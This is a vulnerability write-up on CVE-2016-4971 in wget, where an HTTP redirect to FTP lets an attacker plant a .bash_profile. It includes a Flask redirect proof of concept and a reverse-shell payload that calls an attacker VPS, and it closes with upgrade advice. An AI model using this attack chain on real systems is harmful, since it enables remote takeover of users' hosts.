How CVE‑2016‑4971 Lets Attackers Hijack wget to Install Rootkits

Vulnerability description – CVE‑2016‑4971 has been disclosed and affects all older versions of wget. Attackers can exploit this flaw to phish programmers and operations engineers, gaining host privileges or planting rootkits.

How the flaw works – wget is a common *nix download tool supporting HTTP, HTTPS, FTP, etc. When wget follows an HTTP redirect to an FTP URL, it trusts the redirected FTP link and filename without performing a second verification, potentially downloading a malicious file that compromises the host.

For example, requesting wget http://attackers-server/safe_file.txt may receive the following HTTP response:

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: ftp://attackers-server/.bash_profile
Content-Length: 262
Server: Apache

If the user's home directory does not already contain a .bash_profile, wget will save the redirected file as .bash_profile in the home directory. The attacker can embed any malicious code in this file, which will be executed the next time a shell is started, leading to host compromise.

Attack demonstration

The following simple HTTP service (testWget.py) redirects to an FTP resource containing a malicious .bash_profile payload:

#!/usr/bin/env python

from flask import Flask, redirect

app = Flask(__name__)

@app.route("/noharm.txt")

def test():

return redirect("ftp://192.168.50.116/.bash_profile")

if __name__ == "__main__":

app.run(host="0.0.0.0", port=80)

On the machine 192.168.50.116, an FTP service is started and the payload bash -i >& /dev/tcp/74.207.xxx.xxx/9980 0>&1 is placed in the .bash_profile. A listener on port 9980 is opened on the attacker’s VPS.

From another host 192.168.50.61, the attacker runs: wget http://192.168.50.116/noharm.txt After exiting and re‑entering the shell (triggering .bash_profile), the malicious code executes, granting the attacker a shell on 192.168.50.61. The attacker can then obtain full shell privileges on the target.

Remediation – Upgrade wget to GNU wget 1.18 or later, which fixes the redirect verification issue.